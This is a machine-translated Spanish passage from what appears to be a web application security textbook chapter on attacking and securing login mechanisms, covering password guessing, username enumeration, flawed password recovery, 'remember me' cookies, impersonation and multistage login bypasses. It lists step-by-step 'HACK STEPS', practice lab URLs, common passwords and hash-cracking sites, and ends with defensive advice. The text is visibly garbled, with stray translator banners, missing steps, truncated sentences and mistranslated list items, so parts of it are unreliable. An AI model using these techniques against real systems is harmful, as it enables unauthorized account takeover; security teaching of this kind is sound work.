aplicación . Si la aplicación permite que un atacante realice repetidos intentos de inicio de sesión
Machine Translated by Google
con diferentes contraseñas hasta que adivine la correcta, es altamente vulnerable incluso
para un atacante aficionado que ingresa manualmente algunos nombres de usuario y
contraseñas comunes en su navegador.
Los compromisos recientes de sitios de alto perfil han brindado acceso a cientos de miles
de contraseñas del mundo real que se almacenaron en texto sin cifrar o utilizando hashes de
fuerza bruta. Estas son las contraseñas más populares del mundo real:
n contraseña
n 12345678
qwerty _
n abc123
norte 111111
n mono
nº 12345
n tarde
NOTA Las contraseñas administrativas pueden, de hecho, ser más débiles de lo que
permite la política de contraseñas. Es posible que se hayan configurado antes de que la
política entrara en vigor o que se hayan configurado a través de una aplicación o interfaz diferente.
En esta situación, cualquier atacante serio utilizará técnicas automatizadas para intentar
adivinar las contraseñas, basándose en largas listas de valores comunes. Dado el ancho de
banda y las capacidades de procesamiento actuales, es posible realizar miles de intentos de
inicio de sesión por minuto desde una PC estándar y una conexión DSL. Incluso las
contraseñas más robustas eventualmente se romperán en este escenario.
Varias técnicas y herramientas para usar la automatización de esta manera se describen
en detalle en el Capítulo 14. La Figura 6-2 muestra un ataque exitoso de adivinación de
contraseña contra una sola cuenta usando Burp Intruder. El intento de inicio de sesión exitoso
se puede distinguir claramente por la diferencia en el código de respuesta HTTP, la longitud
de la respuesta y la ausencia del mensaje de "inicio de sesión incorrecto".
En algunas aplicaciones, se emplean controles del lado del cliente en un intento
de evitar ataques de adivinación de contraseñas. Por ejemplo, una aplicación
puede configurar una cookie como faillogins=1 e incrementarla después de cada
intento fallido. Cuando se alcanza un determinado umbral, el servidor lo detecta en
la cookie enviada y se niega a procesar el intento de inicio de sesión. Este tipo de
defensa del lado del cliente puede evitar que se lance un ataque manual usando
solo un navegador, pero, por supuesto, puede evitarse fácilmente, como se
describe en el Capítulo 5.
Machine Translated by Google
PASOS DE HACK
1. Envíe manualmente varios intentos de inicio de sesión incorrectos para una cuenta que usted controla,
monitorear los mensajes de error que recibe.
3. Si la cuenta está bloqueada, intente repetir el ejercicio con una cuenta diferente.
cuenta. Esta vez, si la aplicación emite cookies, use cada cookie para un solo intento
de inicio de sesión y obtenga una nueva cookie para cada intento de inicio de sesión
subsiguiente.
4. Además, si la cuenta está bloqueada, vea si enviar la contraseña válida provoca alguna
diferencia en el comportamiento de la aplicación en comparación con una contraseña
no válida. Si es así, puede continuar con un ataque de adivinación de contraseña incluso
si la cuenta está bloqueada.
7. Obtenga una lista de nombres de usuario enumerados o comunes y una lista de nombres comunes
contraseñas Utilice cualquier información obtenida sobre las reglas de calidad de las
contraseñas para adaptar la lista de contraseñas a fin de evitar casos de prueba superfluos.
¡INTENTALO!
http://mdsec.net/auth/16/
http://mdsec.net/auth/32/
http://mdsec.net/auth/46/
http://mdsec.net/auth/49/
Machine Translated by Google
Figura 6-3: Mensajes detallados de error de inicio de sesión que indican cuándo se ha
adivinado un nombre de usuario válido
En este caso, puede utilizar un ataque automatizado para iterar a través de una gran lista
de nombres de usuario comunes para enumerar cuáles son válidos. Por supuesto, los nombres
de usuario normalmente no se consideran secretos (no se enmascaran durante el inicio de
sesión, por ejemplo). Sin embargo, proporcionar un medio fácil para que un atacante identifique
nombres de usuario válidos aumenta la probabilidad de que comprometa la aplicación con
suficiente tiempo, habilidad y esfuerzo. Se puede utilizar una lista de nombres de usuario
enumerados como base para varios ataques posteriores, incluida la adivinación de contraseñas,
ataques a datos o sesiones de usuarios o ingeniería social.
Además de la función de inicio de sesión principal, la enumeración de nombres de usuario
puede surgir en otros componentes del mecanismo de autenticación. En principio, cualquier
función en la que se envíe un nombre de usuario real o potencial puede aprovecharse para
este fin. Una ubicación donde se encuentra comúnmente la enumeración de nombres de
usuario es la función de registro de usuarios. Si la aplicación permite que nuevos usuarios se
registren y especifiquen sus propios nombres de usuario, la enumeración de nombres de
usuario es prácticamente imposible de evitar si la aplicación debe evitar que se registren
nombres de usuario duplicados. Otras ubicaciones donde a veces se encuentran enumeraciones de nombres de usuario
Machine Translated by Google
son las funciones de cambio de contraseña y contraseña olvidada, como se describe más
adelante en este capítulo.
En mecanismos de inicio de sesión más complejos, donde una aplicación requiere que el
usuario envíe varios datos o avance a través de varias etapas, los mensajes de falla detallados u
otros discriminadores pueden permitir que un atacante apunte a cada etapa del proceso de inicio
de sesión, aumentando la probabilidad de que obtendrá acceso no autorizado.
NOTA Esta vulnerabilidad puede surgir de maneras más sutiles que las ilustradas aquí.
Incluso si los mensajes de error devueltos en respuesta a un nombre de usuario válido e inválido
son superficialmente similares, puede haber pequeñas diferencias entre ellos que se pueden
usar para enumerar nombres de usuario válidos. Por ejemplo, si varias rutas de código dentro
de la aplicación devuelven el "mismo" mensaje de falla, puede haber diferencias tipográficas
menores entre cada instancia del mensaje. En algunos casos, las respuestas de la aplicación
pueden ser idénticas en pantalla, pero pueden contener diferencias sutiles ocultas en el código
fuente HTML, como comentarios o diferencias de diseño. Si no se presenta ningún medio obvio
de enumerar los nombres de usuario, debe realizar una comparación detallada de las respuestas
de la aplicación a los nombres de usuario válidos e inválidos.
Puede usar la herramienta Comparer dentro de Burp Suite para analizar y resaltar
automáticamente las diferencias entre las respuestas de dos aplicaciones, como se muestra en
la Figura 6-4. Esto lo ayuda a identificar rápidamente si la validez del nombre de usuario genera
alguna diferencia sistemática en las respuestas de la aplicación.
Figura 6-4: Identificación de diferencias sutiles en las respuestas de la aplicación utilizando Burp Comparer
Machine Translated by Google
PASOS DE HACK
2. Registre todos los detalles de las respuestas del servidor a cada intento de inicio de
sesión, incluido el código de estado, los redireccionamientos, la información que se
muestra en la pantalla y las diferencias ocultas en la fuente de la página HTML. Use su
proxy de intercepción para mantener un historial completo de todo el tráfico hacia y desde el
servidor.
4. Si esto falla, repita el ejercicio en todas partes dentro de la aplicación donde se pueda
enviar un nombre de usuario (por ejemplo, autorregistro, cambio de contraseña y
contraseña olvidada).
5. Si se detecta una diferencia en las respuestas del servidor a nombres de usuario válidos
e inválidos, obtenga una lista de nombres de usuario comunes. Utilice un script
personalizado o una herramienta automatizada para enviar rápidamente cada nombre de
usuario y filtre las respuestas que indican que el nombre de usuario es válido (consulte el Capítulo 14).
Incluso si las respuestas de una aplicación a los intentos de inicio de sesión que contienen
nombres de usuario válidos e inválidos son idénticas en todos los aspectos intrínsecos, aún puede
ser posible enumerar los nombres de usuario en función del tiempo que tarda la aplicación en
responder a la solicitud de inicio de sesión. Las aplicaciones a menudo realizan un procesamiento de
back-end muy diferente en una solicitud de inicio de sesión, dependiendo de si contiene un nombre de usuario válido.
Por ejemplo, cuando se envía un nombre de usuario válido, la aplicación puede recuperar
detalles del usuario de una base de datos de back-end, realizar varios procesos en estos
Machine Translated by Google
SUGERENCIA Además de la funcionalidad de inicio de sesión en sí, puede haber otras fuentes de
información donde puede obtener nombres de usuario válidos. Revise todos los comentarios del
código fuente descubiertos durante el mapeo de la aplicación (consulte el Capítulo 4) para
identificar cualquier nombre de usuario aparente. Cualquier dirección de correo electrónico de los
desarrolladores u otro personal dentro de la organización pueden ser nombres de usuario válidos,
ya sea en su totalidad o solo el prefijo específi co del usuario. Cualquier funcionalidad de registro accesible puede revelar nomb
¡INTENTALO!
http://mdsec.net/auth/53/
http://mdsec.net/auth/59/
http://mdsec.net/auth/70/
http://mdsec.net/auth/81/
http://mdsec.net/auth/167/
Incluso si el inicio de sesión se produce a través de HTTPS, las credenciales aún pueden divulgarse a unau
Partes autorizadas si la aplicación las maneja de manera insegura:
n Si las credenciales se transmiten como parámetros de cadena de consulta, a diferencia del cuerpo de
una solicitud POST , es probable que se registren en varios lugares, como en el historial del navegador
del usuario, en los registros del servidor web y en los registros de cualquier proxy inverso empleado
dentro de la infraestructura de alojamiento. Si un atacante logra comprometer cualquiera de estos
recursos, puede escalar los privilegios capturando las credenciales de usuario almacenadas allí.
n Si bien la mayoría de las aplicaciones web usan el cuerpo de una solicitud POST para enviar el formulario
de inicio de sesión HTML, es sorprendentemente común ver que la solicitud de inicio de sesión se
maneja a través de una redirección a una URL diferente con las mismas credenciales pasadas como
parámetros de cadena de consulta. No está claro por qué los desarrolladores de aplicaciones consideran
necesario realizar estos rebotes, pero una vez elegido hacerlo, es más fácil implementarlos como
redireccionamientos 302 a una URL que como solicitudes POST utilizando un segundo formulario
HTML enviado a través de JavaScript. n Las aplicaciones web a veces almacenan las credenciales de
los usuarios en cookies, generalmente para implementar mecanismos mal diseñados para iniciar sesión,
cambiar contraseñas, "recordarme", etc. Estas credenciales son vulnerables a la captura a través de
ataques que comprometen las cookies del usuario y, en el caso de las cookies persistentes, por
cualquier persona que obtenga acceso al sistema de archivos local del cliente. Incluso si las credenciales
están encriptadas, un atacante puede simplemente reproducir la cookie y, por lo tanto, iniciar sesión
como usuario sin conocer realmente sus credenciales.
Los capítulos 12 y 13 describen varias formas en que un atacante puede apuntar a otros usuarios para
capturar sus cookies.
Muchas aplicaciones usan HTTP para áreas no autenticadas de la aplicación y cambian a HTTPS en el
momento del inicio de sesión. Si este es el caso, entonces el lugar correcto para cambiar a HTTPS es cuando
la página de inicio de sesión se carga en el navegador, lo que permite al usuario verificar que la página es
auténtica antes de ingresar las credenciales. Sin embargo, es común encontrar aplicaciones que cargan la
página de inicio de sesión usando HTTP y luego cambian a HTTPS en el punto donde se envían las credenciales.
Esto no es seguro, porque un usuario no puede verificar la autenticidad de la página de inicio de sesión y, por
lo tanto, no tiene garantía de que las credenciales se enviarán de forma segura.
Un atacante posicionado adecuadamente puede interceptar y modificar la página de inicio de sesión, cambiando
la URL de destino del formulario de inicio de sesión para usar HTTP. Para cuando un usuario astuto se dé
cuenta de que las credenciales se enviaron mediante HTTP, se habrán visto comprometidas.
Machine Translated by Google
PASOS DE HACK
6. Si las credenciales se envían mediante HTTPS pero se carga el formulario de inicio de sesión
al usar HTTP, la aplicación es vulnerable a un ataque de intermediario, que puede
usarse para capturar credenciales.
¡INTENTALO!
http://mdsec.net/auth/88/
http://mdsec.net/auth/90/
http://mdsec.net/auth/97/
Compruebe si los campos "nueva contraseña" y "confirmar nueva contraseña" tienen el mismo valor
solo después de validar la contraseña existente, lo que permite que un ataque logre descubrir la
contraseña existente de forma no invasiva.
Una función típica de cambio de contraseña incluye un árbol de decisión lógico relativamente grande . La
aplicación necesita identificar al usuario, validar la contraseña existente suministrada, integrarse con cualquier
defensa de bloqueo de cuenta, comparar las nuevas contraseñas suministradas entre sí y con las reglas de
calidad de la contraseña, y enviar cualquier condición de error al usuario de manera adecuada. Debido a
esto, las funciones de cambio de contraseña a menudo contienen fallas lógicas sutiles que pueden explotarse
para subvertir todo el mecanismo.
PASOS DE HACK
¡INTENTALO!
http://mdsec.net/auth/104/
http://mdsec.net/auth/117/
http://mdsec.net/auth/120/
http://mdsec.net/auth/125/
http://mdsec.net/auth/129/
http://mdsec.net/auth/135/
n El mecanismo mediante el cual una aplicación permite a los usuarios recuperar el control
de su cuenta después de responder correctamente a un desafío suele ser vulnerable.
Un medio razonablemente seguro de implementar esto es enviar una URL de recuperación
única, indescifrable y de tiempo limitado a la dirección de correo electrónico que el usuario
proporcionó durante el registro. Visitar esta URL en unos minutos permite al usuario
establecer una nueva contraseña. Sin embargo, a menudo se encuentran otros mecanismos
para la recuperación de cuentas que son inseguros por diseño:
recuperación única, pero la envían a una dirección de correo electrónico especificada por el
usuario en el momento en que se completa el desafío. Esto no proporciona absolutamente
ninguna seguridad mejorada para el proceso de recuperación más allá de posiblemente
registrar la dirección de correo electrónico utilizada por un atacante.
Machine Translated by Google
PASOS DE HACK
4. Si el mecanismo utiliza una "pista" de contraseña, haga el mismo ejercicio para recopilar
una lista de pistas de contraseña y apunte a cualquiera que sea fácil de adivinar.
¡INTENTALO!
http://mdsec.net/auth/142/
http://mdsec.net/auth/145/
http://mdsec.net/auth/151/
Machine Translated by Google
Funcionalidad "Recuérdame"
Las aplicaciones a menudo implementan funciones de "recuérdame" para comodidad de los
usuarios. De esta manera, los usuarios no necesitan volver a ingresar su nombre de usuario y
contraseña cada vez que usan la aplicación desde una computadora específica. Estas
funciones a menudo son inseguras por diseño y dejan al usuario expuesto a ataques tanto
locales como de usuarios en otras computadoras:
Figura 6-6: Una función vulnerable de "recuérdame", que inicia sesión automáticamente en un usuario
basándose únicamente en un nombre de usuario almacenado en una cookie
Machine Translated by Google
PASOS DE HACK
2. Inspeccione de cerca todas las cookies persistentes que se establecen, y también cualquier dato que
se conserva en otros mecanismos de almacenamiento local, como los datos de usuario de
Internet Explorer, el almacenamiento aislado de Silverlight o los objetos compartidos locales
de Flash. Busque cualquier dato guardado que identifique al usuario explícitamente o que
parezca contener algún identificador predecible del usuario.
3. Incluso cuando los datos almacenados parezcan estar fuertemente codificados u ofuscados,
revíselos detenidamente. Compare los resultados de "recordar" varios nombres de usuario
y/o contraseñas muy similares para identificar cualquier oportunidad de aplicar ingeniería
inversa a los datos originales. Aquí, use las mismas técnicas que se describen en el
Capítulo 7 para detectar el significado y los patrones en los tokens de sesión.
¡INTENTALO!
http://mdsec.net/auth/219/
http://mdsec.net/auth/224/
http://mdsec.net/auth/227/
http://mdsec.net/auth/229/
http://mdsec.net/auth/232/
http://mdsec.net/auth/236/
http://mdsec.net/auth/239/
http://mdsec.net/auth/245/
Algunas aplicaciones implementan la facilidad para que un usuario privilegiado de la aplicación se haga
pasar por otros usuarios para acceder a los datos y realizar acciones dentro de su contexto de usuario.
Por ejemplo, algunas aplicaciones bancarias permiten a los operadores de la mesa de ayuda autenticar
verbalmente a un usuario de teléfono y luego cambiar su sesión de aplicación al contexto de ese usuario
para ayudarlo.
n Puede implementarse como una función "oculta", que no está sujeta a controles de acceso
adecuados. Por ejemplo, cualquiera que conozca o adivine la URL /admin/ImpersonateUser.jsp
puede hacer uso de la función y hacerse pasar por cualquier otro usuario (consulte el Capítulo 8).
n La aplicación puede confiar en los datos controlables por el usuario al determinar si el usuario
está realizando una suplantación. Por ejemplo, además de un token de sesión válido, un usuario
puede enviar una cookie que especifique qué cuenta está utilizando actualmente su sesión. Un
atacante puede modificar este valor y obtener acceso a otras cuentas de usuario sin autenticación,
como se muestra en la Figura 6-7.
la contraseña de la puerta trasera y, por lo tanto, obtener acceso a la cuenta de cada usuario.
De manera similar, un ataque de fuerza bruta podría resultar en dos "accesos" diferentes,
revelando así la contraseña de la puerta trasera, como se muestra en la Figura 6-8.
PASOS DE HACK
3. Intentar manipular cualquier dato proporcionado por el usuario que sea procesado por
la función de suplantación en un intento de hacerse pasar por otros usuarios. Preste
especial atención a cualquier caso en el que su nombre de usuario se envíe de forma
diferente al inicio de sesión normal.
4. Si logra hacer uso de la funcionalidad, intente hacerse pasar por cualquier usuario
administrativo conocido o supuesto para elevar los privilegios.
¡INTENTALO!
http://mdsec.net/auth/272/
http://mdsec.net/auth/290/
Figura 6-8: Un ataque de adivinación de contraseñas con dos "aciertos", lo que indica la
presencia de una contraseña de puerta trasera
Por ejemplo, algunas aplicaciones truncan las contraseñas y, por lo tanto, validan solo los primeros
n caracteres. Algunas aplicaciones realizan una verificación de contraseñas que no distingue entre
mayúsculas y minúsculas . Algunas aplicaciones eliminan los caracteres inusuales (a veces con el
pretexto de realizar una validación de entrada) antes de verificar las contraseñas. En los últimos
tiempos, se han identificado comportamientos de este tipo en algunas aplicaciones web de perfil
sorprendentemente alto, generalmente como resultado de prueba y error por parte de usuarios curiosos.
Machine Translated by Google
cuentas de usuario.
PASOS DE HACK
1. Con una cuenta que controle, intente iniciar sesión con variaciones en su propia
contraseña: eliminando el último carácter, cambiando el caso de un carácter y
eliminando cualquier carácter tipográfico especial. Si alguno de estos intentos tiene
éxito, continúe experimentando para tratar de comprender qué validación está
ocurriendo realmente.
¡INTENTALO!
http://mdsec.net/auth/293/
n Un usuario que comparte un nombre de usuario con otro usuario también puede seleccionar la misma
contraseña que ese usuario, ya sea durante el registro o en un cambio de contraseña posterior. En
esta eventualidad, la aplicación rechaza la contraseña elegida por el segundo usuario o permite
que dos cuentas tengan credenciales idénticas. En primera instancia, el comportamiento de la
aplicación revela efectivamente a un usuario las credenciales del otro usuario. En la segunda
instancia, los inicios de sesión posteriores de uno de los usuarios dan como resultado el acceso a
la cuenta del otro usuario.
n Un atacante puede explotar este comportamiento para llevar a cabo un ataque de fuerza bruta
con éxito , aunque esto no sea posible en otros lugares debido a las restricciones en los
intentos fallidos de inicio de sesión. Un atacante puede registrar un nombre de usuario específi co
Machine Translated by Google
PASOS DE HACK
una. Si aparece un mensaje de error, puede aprovechar este comportamiento para llevar a
cabo un ataque de fuerza bruta, incluso si esto no es posible en la página principal de inicio de sesión.
Apunte a un nombre de usuario enumerado o adivinado e intente registrar este nombre
de usuario varias veces con una lista de contraseñas comunes. Cuando la aplicación
rechaza una contraseña específica, probablemente haya encontrado la contraseña
existente para la cuenta de destino.
b. Si no aparece ningún mensaje de error, inicie sesión con las credenciales que especificó.
fied, y ver lo que sucede. Es posible que deba registrar varios usuarios y modificar
diferentes datos contenidos en cada cuenta para comprender si este comportamiento
se puede utilizar para obtener acceso no autorizado a las cuentas de otros usuarios.
PASOS DE HACK
2. Si puede, extrapole hacia atrás para obtener una lista de posibles usuarios válidos.
nombres Esto se puede utilizar como base para un ataque de fuerza bruta contra el
inicio de sesión y otros ataques en los que se requieren nombres de usuario válidos,
como la explotación de fallas de control de acceso (consulte el Capítulo 8).
¡INTENTALO!
http://mdsec.net/auth/169/
PASOS DE HACK
2. Si puede, extrapole el patrón para obtener una lista de contraseñas para otros
usuarios de la aplicación.
4. De lo contrario, puede usar la lista de contraseñas inferidas como base para un ataque
de fuerza bruta con una lista de nombres de usuario enumerados o comunes.
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/auth/172/
PASOS DE HACK
1. Obtenga una nueva cuenta. Si no es necesario que configure todas las credenciales
durante el registro, determine los medios por los cuales la aplicación distribuye
las credenciales a los nuevos usuarios.
2. Si se usa una URL de activación de cuenta, intente registrar varias cuentas nuevas
en una sucesión cercana e identifique cualquier secuencia en las URL que reciba.
Si se puede determinar un patrón, intente predecir las URL de activación
enviadas a los usuarios recientes y próximos, e intente usar estas URL para
hacerse cargo de sus cuentas.
3. Intente reutilizar una única URL de activación varias veces y compruebe si la
aplicación lo permite. De lo contrario, intente bloquear la cuenta de destino antes
de reutilizar la URL y vea si ahora funciona.
Machine Translated by Google
La lógica de falla abierta es una especie de falla lógica (descrita en detalle en el Capítulo 11)
que tiene consecuencias particularmente serias en el contexto de los mecanismos de autenticación.
El siguiente es un ejemplo bastante artificial de un mecanismo de inicio de sesión que falla al
abrirse. Si la llamada a db.getUser() arroja una excepción por algún motivo (por ejemplo, una
excepción de puntero nulo que surge porque la solicitud del usuario no contenía un parámetro
de nombre de usuario o contraseña), el inicio de sesión se realiza correctamente. Aunque la
sesión resultante puede no estar vinculada a una identidad de usuario en particular y, por lo
tanto , puede no ser completamente funcional, esto aún puede permitir que un atacante acceda
a algunos datos o funciones confidenciales.
// usuario valido
session.setMessage(“Inicio de sesión exitoso. “); return
doMainMenu(sesión);
}
En el campo, no esperaría que un código como este pasara incluso la revisión de seguridad
más superficial. Sin embargo, es mucho más probable que exista la misma falla conceptual en
mecanismos más complejos en los que se utilizan numerosas invocaciones de métodos en capas.
Machine Translated by Google
se realizan, en los que pueden surgir muchos errores potenciales y ser manejados en
diferentes lugares, y donde la lógica de validación más complicada puede implicar mantener
un estado significativo sobre el progreso del inicio de sesión.
PASOS DE HACK
1. Realice un inicio de sesión completo y válido con una cuenta que usted
controle. Registre todos los datos enviados a la aplicación y todas las
respuestas recibidas utilizando su proxy de intercepción.
2. Repita el proceso de inicio de sesión varias veces, modificando partes de los
datos enviados de formas inesperadas. Por ejemplo, para cada parámetro de
solicitud o cookie enviada por el cliente, haga lo siguiente:
una. Envíe una cadena vacía como valor.
b. Elimine el par nombre/valor por completo. C.
Envíe valores muy largos y muy cortos. d.
Envíe cadenas en lugar de números y viceversa. mi. Envíe
el mismo elemento varias veces, con las mismas y diferentes
valores.
¡INTENTALO!
http://mdsec.net/auth/300/
Algunas aplicaciones utilizan elaborados mecanismos de inicio de sesión que involucran varias etapas,
como las siguientes:
n Un desafío para dígitos específi cos de un PIN o una palabra memorable n El envío
Los mecanismos de inicio de sesión de varias etapas están diseñados para brindar una mayor
seguridad en comparación con el modelo simple basado en el nombre de usuario y la contraseña. Por
lo general, la primera etapa requiere que los usuarios se identifiquen con un nombre de usuario o
elemento similar, y las etapas posteriores realizan varias comprobaciones de autenticación. Tales mecanismos
Machine Translated by Google
MITO COMÚN
A menudo se supone que los mecanismos de inicio de sesión de varias etapas son
menos propensos a eludir la seguridad que la autenticación estándar de nombre de
usuario/contraseña. Esta creencia es errónea. Realizar varias comprobaciones de
autenticación puede agregar una seguridad considerable al mecanismo. Pero como
contrapeso a esto, el proceso es más propenso a fallas en la implementación. En varios
casos en los que se presenta una combinación de fallas, incluso puede resultar en una
solución que es menos segura que un inicio de sesión normal basado en nombre de usuario y contraseña.
n Una aplicación puede suponer que un usuario que accede a la etapa tres debe haber
superado las etapas uno y dos. Por lo tanto, puede autenticar a un atacante que pasa
directamente de la etapa uno a la etapa tres y la completa correctamente , lo que le
permite iniciar sesión con solo una parte de las diversas credenciales que normalmente
se requieren. n Una aplicación puede confiar en algunos de los datos que se procesan
en la etapa dos porque se validaron en la etapa uno. Sin embargo, un atacante puede
manipular estos datos en la etapa dos, dándole un valor diferente al que se validó en la
etapa uno. Por ejemplo, en la etapa uno, la aplicación puede determinar si la cuenta del
usuario ha vencido, está bloqueada o está en el grupo administrativo, o si necesita
completar más etapas del inicio de sesión más allá de la etapa dos. Si un atacante puede
interferir con estos indicadores a medida que el inicio de sesión cambia entre diferentes
etapas, puede modificar el comportamiento de la aplicación y hacer que lo autentique
solo con credenciales parciales o que eleve los privilegios.
n Una aplicación puede suponer que se utiliza la misma identidad de usuario para completar
cada etapa; sin embargo, es posible que no marque esto explícitamente. Por ejemplo, la
etapa uno podría implicar el envío de un nombre de usuario y una contraseña válidos, y
la etapa dos podría implicar volver a enviar el nombre de usuario (ahora en un campo de
formulario oculto) y un valor de un token físico cambiante. Si un atacante envía pares de
datos válidos en cada etapa, pero para diferentes usuarios, la aplicación podría autenticar
al usuario como cualquiera de las identidades utilizadas en las dos etapas.
Esto permitiría que un atacante que posea su propio token físico y descubra la
contraseña de otro usuario pueda iniciar sesión como ese usuario (o viceversa).
Aunque el mecanismo de inicio de sesión no se puede comprometer por completo sin
ninguna información previa, su postura de seguridad general se debilita sustancialmente
y el gasto y el esfuerzo sustanciales de implementar el mecanismo de dos factores no
brindan los beneficios esperados.
Machine Translated by Google
PASOS DE HACK
1. Realice un inicio de sesión completo y válido con una cuenta que usted controle.
Registre todos los datos enviados a la aplicación utilizando su proxy de intercepción.
2. Identifique cada etapa distinta del inicio de sesión y los datos que se recopilan en
cada etapa. Determine si una sola pieza de información se recopila más de una vez o
si alguna vez se transmite al cliente y se vuelve a enviar a través de un campo de
formulario oculto, una cookie o un parámetro de URL preestablecido (consulte el Capítulo 5).
allí. C. Intente saltarse cada etapa y continuar con la siguiente. d. Usa tu imaginación
para pensar en otras formas de acceder a las diferentes etapas que los desarrolladores
no hayan previsto.
4. Si se envía algún dato más de una vez, intente enviar un valor diferente en diferentes
etapas y vea si el inicio de sesión sigue siendo exitoso. Es posible que algunos de
los envíos sean superfluos y que la aplicación no los procese. Puede ser que los
datos se validen en una etapa y luego se confíe en ellos posteriormente. En este caso,
intente proporcionar las credenciales de un usuario en una etapa y luego cambie en la
siguiente para autenticarse realmente como un usuario diferente. Puede ser que la
misma pieza de datos se valide en más de una etapa, pero contra diferentes
comprobaciones. En este caso, intente proporcionar (por ejemplo) el nombre de
usuario y la contraseña de un usuario en la primera etapa y el nombre de usuario y el
PIN de un usuario diferente en la segunda etapa.
5. Preste mucha atención a cualquier dato que se transmita a través del cliente que fue
no introducido directamente por el usuario. La aplicación puede usar estos datos para
almacenar información sobre el estado del progreso de inicio de sesión, y la aplicación
puede confiar en ellos cuando se envía de vuelta al servidor. Por ejemplo, si la solicitud
de la etapa tres incluye el parámetro stage2complete=true, es posible avanzar
directamente a la etapa tres configurando este valor. Intente modificar los valores que
se envían y determine si esto le permite avanzar o saltar etapas.
¡INTENTALO!
http://mdsec.net/auth/195/
http://mdsec.net/auth/199/
http://mdsec.net/auth/203/
http://mdsec.net/auth/206/
http://mdsec.net/auth/211/
Machine Translated by Google
Algunos mecanismos de inicio de sesión emplean una pregunta que varía aleatoriamente en
una de las etapas del proceso de inicio de sesión. Por ejemplo, después de enviar un nombre de
usuario y una contraseña, se les puede hacer a los usuarios una de varias preguntas
"secretas" (sobre el apellido de soltera de su madre , lugar de nacimiento, nombre de la primera
escuela) o enviar dos letras aleatorias de una frase secreta. La razón de este comportamiento es
que incluso si un atacante captura todo lo que ingresa un usuario en una sola ocasión, esto no le
permitirá iniciar sesión como ese usuario en una ocasión diferente, porque se le harán preguntas diferentes.
En algunas implementaciones, esta funcionalidad no funciona y no logra sus objetivos: n La
aplicación puede presentar una pregunta elegida al azar y almacenar los detalles dentro de un
campo de formulario HTML oculto o una cookie, en lugar del servidor. Posteriormente, el
usuario envía tanto la respuesta como la pregunta en sí. Esto permite que un atacante
elija qué pregunta responder, lo que le permite repetir un inicio de sesión después de
capturar la entrada de un usuario en una sola ocasión.
n La aplicación puede presentar una pregunta elegida al azar en cada intento de inicio de
sesión, pero no recordar qué pregunta se le hizo a un usuario determinado si no pudo
enviar una respuesta. Si el mismo usuario inicia un nuevo intento de inicio de sesión un
momento después, se genera una pregunta aleatoria diferente. Esto le permite a un
atacante recorrer las preguntas hasta que recibe una de la que sabe la respuesta, lo que
le permite repetir un inicio de sesión después de haber capturado la entrada de un usuario
en una sola ocasión.
PASOS DE HACK
1. Si una de las etapas de inicio de sesión usa una pregunta que varía
aleatoriamente, verifique si los detalles de la pregunta se envían junto con la respuesta.
Si es así, cambie la pregunta, envíe la respuesta correcta asociada con
esa pregunta y verifique si el inicio de sesión sigue siendo exitoso.
2. Si la aplicación no permite que un atacante envíe un mensaje arbitrario
pregunta y respuesta, realice un inicio de sesión parcial varias veces
con una sola cuenta, procediendo cada vez hasta la pregunta variable.
Si la pregunta cambia en cada ocasión, un atacante todavía puede elegir
qué pregunta responder.
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/auth/178/
http://mdsec.net/auth/182/
SUGERENCIA Algunas bases de datos en línea de funciones hash comunes están disponibles aquí:
http://passcracking.com/index.php
http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/ script-hash-md5.php
Machine Translated by Google
PASOS DE HACK
usuario: a. Consulta estos para determinar si las contraseñas se almacenan sin cifrar.
Asegurar la autenticación
La implementación de una solución de autenticación segura implica intentar cumplir
simultáneamente varios objetivos clave de seguridad y, en muchos casos, compensar
otros objetivos como la funcionalidad, la facilidad de uso y el costo total. En algunos
casos, “más” seguridad puede ser contraproducente. Por ejemplo, obligar a los
usuarios a establecer contraseñas muy largas y cambiarlas con frecuencia hace que
los usuarios escriban sus contraseñas.
Debido a la enorme variedad de posibles vulnerabilidades de autenticación y las
defensas potencialmente complejas que una aplicación puede necesitar implementar
para mitigarlas, muchos diseñadores y desarrolladores de aplicaciones eligen
aceptar ciertas amenazas como un hecho y concentrarse en prevenir las más
graves . ataques Aquí hay algunos factores a considerar para lograr un equilibrio apropiado:
Esta sección describe las formas más efectivas de vencer los diversos ataques
contra los mecanismos de autenticación. Dejaremos que usted decida qué tipo de
defensas son las más apropiadas en cada caso.
únicos. n Todos los nombres de usuario y contraseñas generados por el sistema deben
crearse con suficiente entropía para que no puedan secuenciarse ni predecirse de manera
factible, ni siquiera por parte de un atacante que obtenga acceso a una gran muestra de
instancias generadas sucesivamente.
n Todas las comunicaciones cliente-servidor deben estar protegidas mediante una tecnología
criptográfica bien establecida, como SSL. Las soluciones personalizadas para proteger los
datos en tránsito no son ni necesarias ni deseables. n Si se considera preferible usar HTTP
servidor.
Las credenciales nunca deben colocarse en parámetros de URL o cookies (incluso las
efímeras). Las credenciales nunca deben devolverse al cliente, ni siquiera en los parámetros
de una redirección.
n Todos los componentes de la aplicación del lado del servidor deben almacenar las
credenciales de una manera que no permita que sus valores originales se recuperen
fácilmente, incluso por un atacante que obtenga acceso completo a todos los datos relevantes dentro del
Machine Translated by Google
base de datos de la aplicación. El medio habitual para lograr este objetivo es utilizar una
función hash fuerte (como SHA-256 en el momento de escribir este artículo), adecuadamente
salada para reducir la eficacia de los ataques fuera de línea precalculados . El salt debe
ser específi co para la cuenta propietaria de la contraseña, de modo que un atacante no
pueda reproducir o sustituir los valores hash. n La función "recordarme" del lado del cliente
n Cuando las credenciales para cuentas nuevas se distribuyan a los usuarios fuera de banda,
estas deben enviarse de la manera más segura posible y deben tener un límite de tiempo.
